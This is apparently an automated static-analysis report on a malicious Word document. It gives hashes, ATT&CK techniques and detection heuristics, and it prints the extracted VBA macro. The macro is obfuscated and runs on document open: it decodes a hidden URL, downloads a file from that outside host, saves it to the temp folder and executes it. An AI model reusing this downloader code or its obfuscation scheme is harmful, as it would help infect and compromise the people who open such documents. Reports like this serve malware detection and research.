Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1877bd356a96e649…

MALICIOUS

Office (OLE)

70.0 KB Created: 2018-10-23 07:27:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: d08feb66a8480b07eab7e59c8fb2dc5b SHA-1: 83060f3a522c9ddddcc56f8a8bf7fd21eb4bcb6c SHA-256: 1877bd356a96e6499b195a13fa7dbe72bc828359b850b98b9e8e32d969846049
258 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains VBA macros, including a Document_Open macro, which is a common technique for malicious Office documents. The critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' indicates that the VBA code downloads a file from an HTTP URL and executes it. The document body contains a lure to 'enable macros' for viewing payment details, further supporting a malicious intent. The embedded URL is benign, but the macro's functionality points to a downloader.

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    £¥²¼¼¦¥°¿´ª¡¬¨´¸²ª®®®«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬¸®¹¼¤ª¬¿¥§·«´·µ»½¨´µ»¯½°¹ª²½º´©¤£¤¡ª¯ª¸¿¿¦¤ = ¯ª¸¿¿¦¤¢§¸¯¼³¨¦¶¨¦³¹©¢©½¡¼»£®¤«©¶©£¦µ³¯¢½¹¶½¨²¾·¼¥¨º»¡»¾«½°··¶¹¨¥¡®¥¦´¶¸³®¤©½²´¿².responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set ¯ª¸¿¿¦¤¢§¸¯¼³¨¦¶¨¦³¹©¢©½¡¼»£®¤«©¶©£¦µ³¯¢½¹¶½¨²¾·¼¥¨º»¡»¾«½°··¶¹¨¥¡®¥¦´¶¸³®¤©½²´¿² = CreateObject("microsoft.xmlhttp")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ´¿²µ¼º°¸§§¹¾©·¬·ª°¿°·´¾µ¬¸¾¬¯¨³»¿¯©µ²«ª¹½§¢¨»¸¸·º²¶º«µ´½¸¹µ«¶§¨¼µ®»¶¾ªºº³³¬§°¯£¯¡º®º = Environ("tmp") + º¹¶¯¾£¬¦£¥²¼¼¦¥°¿´ª¡¬¨´¸²ª®®®«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬¸®¹¼¤ª¬¿¥§·«´·µ»½¨´µ»¯½°¹ª²½º´©("\XWZRاHN.ÂÛÂ")
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8842 bytes
SHA-256: 91b831b81857fcd5088f959c43b943f51067fb710a46c19c29b744d15b2266af
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
    Public Function º¹¶¯¾£¬¦£¥²¼¼¦¥°¿´ª¡¬¨´¸²ª®®®«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬¸®¹¼¤ª¬¿¥§·«´·µ»½¨´µ»¯½°¹ª²½º´©(¤£¤¡ª¯ª¸¿¿¦¤¢§¸¯¼³¨¦¶¨¦³¹©¢©½¡¼»£®¤«©¶©£¦µ³¯¢½¹¶½¨²¾·¼¥¨º»¡»¾«½°··¶¹¨¥¡®¥¦´¶¸³®¤©½)
        ¹¶¯¾£¬¦£¥²¼¼¦¥°¿´ª¡¬¨´¸²ª®®®«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬¸®¹¼¤ª¬¿¥§·«´·µ»½¨´µ»¯½°¹ª²½º´©¤£¤¡ª¯ª¸ = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥"
        ¿¿¦¤¢§¸¯¼³¨¦¶¨¦³¹©¢©½¡¼»£®¤«©¶©£¦µ³¯¢½¹¶½¨²¾·¼¥¨º»¡»¾«½°··¶¹¨¥¡®¥¦´¶¸³®¤©½²´¿²µ¼ = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
        For i = 1 To Len(¤£¤¡ª¯ª¸¿¿¦¤¢§¸¯¼³¨¦¶¨¦³¹©¢©½¡¼»£®¤«©¶©£¦µ³¯¢½¹¶½¨²¾·¼¥¨º»¡»¾«½°··¶¹¨¥¡®¥¦´¶¸³®¤©½)
            º°¸§§¹¾©·¬·ª°¿°·´¾µ¬¸¾¬¯¨³»¿¯©µ²«ª¹½§¢¨»¸¸·º²¶º«µ´½¸¹µ«¶§¨¼µ®»¶¾ªºº³³¬§°¯£¯¡º®º¹¶¯¾£ = InStr(¹¶¯¾£¬¦£¥²¼¼¦¥°¿´ª¡¬¨´¸²ª®®®«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬¸®¹¼¤ª¬¿¥§·«´·µ»½¨´µ»¯½°¹ª²½º´©¤£¤¡ª¯ª¸, Mid(¤£¤¡ª¯ª¸¿¿¦¤¢§¸¯¼³¨¦¶¨¦³¹©¢©½¡¼»£®¤«©¶©£¦µ³¯¢½¹¶½¨²¾·¼¥¨º»¡»¾«½°··¶¹¨¥¡®¥¦´¶¸³®¤©½, i, 1))
            If º°¸§§¹¾©·¬·ª°¿°·´¾µ¬¸¾¬¯¨³»¿¯©µ²«ª¹½§¢¨»¸¸·º²¶º«µ´½¸¹µ«¶§¨¼µ®»¶¾ªºº³³¬§°¯£¯¡º®º¹¶¯¾£ > 0 Then
                ¬¦£¥²¼¼¦¥°¿´ª¡¬¨´¸²ª®®®«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬¸®¹¼¤ª¬¿¥§·«´·µ»½¨´µ»¯½°¹ª²½º´© = Mid(¿¿¦¤¢§¸¯¼³¨¦¶¨¦³¹©¢©½¡¼»£®¤«©¶©£¦µ³¯¢½¹¶½¨²¾·¼¥¨º»¡»¾«½°··¶¹¨¥¡®¥¦´¶¸³®¤©½²´¿²µ¼, º°¸§§¹¾©·¬·ª°¿°·´¾µ¬¸¾¬¯¨³»¿¯©µ²«ª¹½§¢¨»¸¸·º²¶º«µ´½¸¹µ«¶§¨¼µ®»¶¾ªºº³³¬§°¯£¯¡º®º¹¶¯¾£, 1)
                ¤£¤¡ª¯ª¸¿¿¦¤¢§¸¯¼³¨¦¶¨¦³¹©¢©½¡¼»£®¤«©¶©£¦µ³¯¢½¹¶½¨²¾·¼¥¨º»¡»¾«½°··¶¹¨¥¡®¥¦´¶¸³®¤©½²´¿ = ¤£¤¡ª¯ª¸¿¿¦¤¢§¸¯¼³¨¦¶¨¦³¹©¢©½¡¼»£®¤«©¶©£¦µ³¯¢½¹¶½¨²¾·¼¥¨º»¡»¾«½°··¶¹¨¥¡®¥¦´¶¸³®¤©½²´¿ + ¬¦£¥²¼¼¦¥°¿´ª¡¬¨´¸²ª®®®«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬¸®¹¼¤ª¬¿¥§·«´·µ»½¨´µ»¯½°¹ª²½º´©
            Else
                ¤£¤¡ª¯ª¸¿¿¦¤¢§¸¯¼³¨¦¶¨¦³¹©¢©½¡¼»£®¤«©¶©£¦µ³¯¢½¹¶½¨²¾·¼¥¨º»¡»¾«½°··¶¹¨¥¡®¥¦´¶¸³®¤©½²´¿ = ¤£¤¡ª¯ª¸¿¿¦¤¢§¸¯¼³¨¦¶¨¦³¹©¢©½¡¼»£®¤«©¶©£¦µ³¯¢½¹¶½¨²¾·¼¥¨º»¡»¾«½°··¶¹¨¥¡®¥¦´¶¸³®¤©½²´¿ + Mid(¤£¤¡ª¯ª¸¿¿¦¤¢§¸¯¼³¨¦¶¨¦³¹©¢©½¡¼»£®¤«©¶©£¦µ³¯¢½¹¶½¨²¾·¼¥¨º»¡»¾«½°··¶¹¨¥¡®¥¦´¶¸³®¤©½, i, 1)
            End If
        Next
        º¹¶¯¾£¬¦£¥²¼¼¦¥°¿´ª¡¬¨´¸²ª®®®«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬¸®¹¼¤ª¬¿¥§·«´·µ»½¨´µ»¯½°¹ª²½º´© = ¤£¤¡ª¯ª¸¿¿¦¤¢§¸¯¼³¨¦¶¨¦³¹©¢©½¡¼»£®¤«©¶©£¦µ³¯¢½¹¶½¨²¾·¼¥¨º»¡»¾«½°··¶¹¨¥¡®¥¦´¶¸³®¤©½²´¿
    End Function

Private Sub Document_Open()
Dim ¯ª¸¿¿¦¤¢§¸¯¼³¨¦¶¨¦³¹©¢©½¡¼»£®¤«©¶©£¦µ³¯¢½¹¶½¨²¾·¼¥¨º»¡»¾«½°··¶¹¨¥¡®¥¦´¶¸³®¤©½²´¿²
Set ¯ª¸¿¿¦¤¢§¸¯¼³¨¦¶¨¦³¹©¢©½¡¼»£®¤«©¶©£¦µ³¯¢½¹¶½¨²¾·¼¥¨º»¡»¾«½°··¶¹¨¥¡®¥¦´¶¸³®¤©½²´¿² = CreateObject("microsoft.xmlhttp")
Dim ´¿²µ¼º°¸§§¹¾©·¬·ª°¿°·´¾µ¬¸¾¬¯¨³»¿¯©µ²«ª¹½§¢¨»¸¸·º²¶º«µ´½¸¹µ«¶§¨¼µ®»¶¾ªºº³³¬§°¯£¯¡º®º
Dim ¿¦¤¢§¸¯¼³¨¦¶¨¦³¹©¢©½¡¼»£®¤«©¶©£¦µ³¯¢½¹¶½¨²¾·¼¥¨º»¡»¾«½°··¶¹¨¥¡®¥¦´¶¸³®¤©½²´¿²µ¼º°¸§§¹¾©·¬·ª
Set ¿¦¤¢§¸¯¼³¨¦¶¨¦³¹©¢©½¡¼»£®¤«©¶©£¦µ³¯¢½¹¶½¨²¾·¼¥¨º»¡»¾«½°··¶¹¨¥¡®¥¦´¶¸³®¤©½²´¿²µ¼º°¸§§¹¾©·¬·ª = CreateObject("Shell.Application")

´¿²µ¼º°¸§§¹¾©·¬·ª°¿°·´¾µ¬¸¾¬¯¨³»¿¯©µ²«ª¹½§¢¨»¸¸·º²¶º«µ´½¸¹µ«¶§¨¼µ®»¶¾ªºº³³¬§°¯£¯¡º®º = Environ("tmp") + º¹¶¯¾£¬¦£¥²¼¼¦¥°¿´ª¡¬¨´¸²ª®®®«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬¸®¹¼¤ª¬¿¥§·«´·µ»½¨´µ»¯½°¹ª²½º´©("\XWZRاHN.ÂÛÂ")
¯ª¸¿¿¦¤¢§¸¯¼³¨¦¶¨¦³¹©¢©½¡¼»£®¤«©¶©£¦µ³¯¢½¹¶½¨²¾·¼¥¨º»¡»¾«½°··¶¹¨¥¡®¥¦´¶¸³®¤©½²´¿².Open "GET", º¹¶¯¾£¬¦£¥²¼¼¦¥°¿´ª¡¬¨´¸²ª®®®«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬¸®¹¼¤ª¬¿¥§·«´·µ»½¨´µ»¯½°¹ª²½º´©("hÖÖÓ://ÖhÂmÂÕ-ÛzÒÅÂ.mÂ/kÖhÂmÂÕ/HK1²ÙhÖkÔÜÃd76ÔÂ54757667Ö47ÔwÂg7ÔgÕÔgÔÕÃg54ÖÙÔjÜÀÀdÀÂwÖqgÜ56ÖÁ55758F.ÂÛÂ"), False
¯ª¸¿¿¦¤¢§¸¯¼³¨¦¶¨¦³¹©¢©½¡¼»£®¤«©¶©£¦µ³¯¢½¹¶½¨²¾·¼¥¨º»¡»¾«½°··¶¹¨¥¡®¥¦´¶¸³®¤©½²´¿².send
£¥²¼¼¦¥°¿´ª¡¬¨´¸²ª®®®«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬¸®¹¼¤ª¬¿¥§·«´·µ»½¨´µ»¯½°¹ª²½º´©¤£¤¡ª¯ª¸¿¿¦¤ = ¯ª¸¿¿¦¤¢§¸¯¼³¨¦¶¨¦³¹©¢©½¡¼»£®¤«©¶©£¦µ³¯¢½¹¶½¨²¾·¼¥¨º»¡»¾«½°··¶¹¨¥¡®¥¦´¶¸³®¤©½²´¿².responseBody
If ¯ª¸¿¿¦¤¢§¸¯¼³¨¦¶¨¦³¹©¢©½¡¼»£®¤«©¶©£¦µ³¯¢½¹¶½¨²¾·¼¥¨º»¡»¾«½°··¶¹¨¥¡®¥¦´¶¸³®¤©½²´¿².Status = 200 Then
Set ¿°·´¾µ¬¸¾¬¯¨³»¿¯©µ²«ª¹½§¢¨»¸¸·º²¶º«µ´½¸¹µ«¶§¨¼µ®»¶¾ªºº³³¬§°¯£¯¡º®º¹¶¯¾£¬¦£¥²¼¼¦¥°¿´ª = CreateObject("adodb.stream")
¿°·´¾µ¬¸¾¬¯¨³»¿¯©µ²«ª¹½§¢¨»¸¸·º²¶º«µ´½¸¹µ«¶§¨¼µ®»¶¾ªºº³³¬§°¯£¯¡º®º¹¶¯¾£¬¦£¥²¼¼¦¥°¿´ª.Open
¿°·´¾µ¬¸¾¬¯¨³»¿¯©µ²«ª¹½§¢¨»¸¸·º²¶º«µ´½¸¹µ«¶§¨¼µ®»¶¾ªºº³³¬§°¯£¯¡º®º¹¶¯¾£¬¦£¥²¼¼¦¥°¿´ª.Type = 1
¿°·´¾µ¬¸¾¬¯¨³»¿¯©µ²«ª¹½§¢¨»¸¸·º²¶º«µ´½¸¹µ«¶§¨¼µ®»¶¾ªºº³³¬§°¯£¯¡º®º¹¶¯¾£¬¦£¥²¼¼¦¥°¿´ª.Write £¥²¼¼¦¥°¿´ª¡¬¨´¸²ª®®®«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬¸®¹¼¤ª¬¿¥§·«´·µ»½¨´µ»¯½°¹ª²½º´©¤£¤¡ª¯ª¸¿¿¦¤
¿°·´¾µ¬¸¾¬¯¨³»¿¯©µ²«ª¹½§¢¨»¸¸·º²¶º«µ´½¸¹µ«¶§¨¼µ®»¶¾ªºº³³¬§°¯£¯¡º®º¹¶¯¾£¬¦£¥²¼¼¦¥°¿´ª.SaveToFile ´¿²µ¼º°¸§§¹¾©·¬·ª°¿°·´¾µ¬¸¾¬¯¨³»¿¯©µ²«ª¹½§¢¨»¸¸·º²¶º«µ´½¸¹µ«¶§¨¼µ®»¶¾ªºº³³¬§°¯£¯¡º®º, 2
¿°·´¾µ¬¸¾¬¯¨³»¿¯©µ²«ª¹½§¢¨»¸¸·º²¶º«µ´½¸¹µ«¶§¨¼µ®»¶¾ªºº³³¬§°¯£¯¡º®º¹¶¯¾£¬¦£¥²¼¼¦¥°¿´ª.Close
End If
¿¦¤¢§¸¯¼³¨¦¶¨¦³¹©¢©½¡¼»£®¤«©¶©£¦µ³¯¢½¹¶½¨²¾·¼¥¨º»¡»¾«½°··¶¹¨¥¡®¥¦´¶¸³®¤©½²´¿²µ¼º°¸§§¹¾©·¬·ª.Open (´¿²µ¼º°¸§§¹¾©·¬·ª°¿°·´¾µ¬¸¾¬¯¨³»¿¯©µ²«ª¹½§¢¨»¸¸·º²¶º«µ´½¸¹µ«¶§¨¼µ®»¶¾ªºº³³¬§°¯£¯¡º®º)


End Sub

Attribute VB_Name = "NewMacros"
Sub Hknmowet()
'
' Hknmowet Macro
'
'

End Sub

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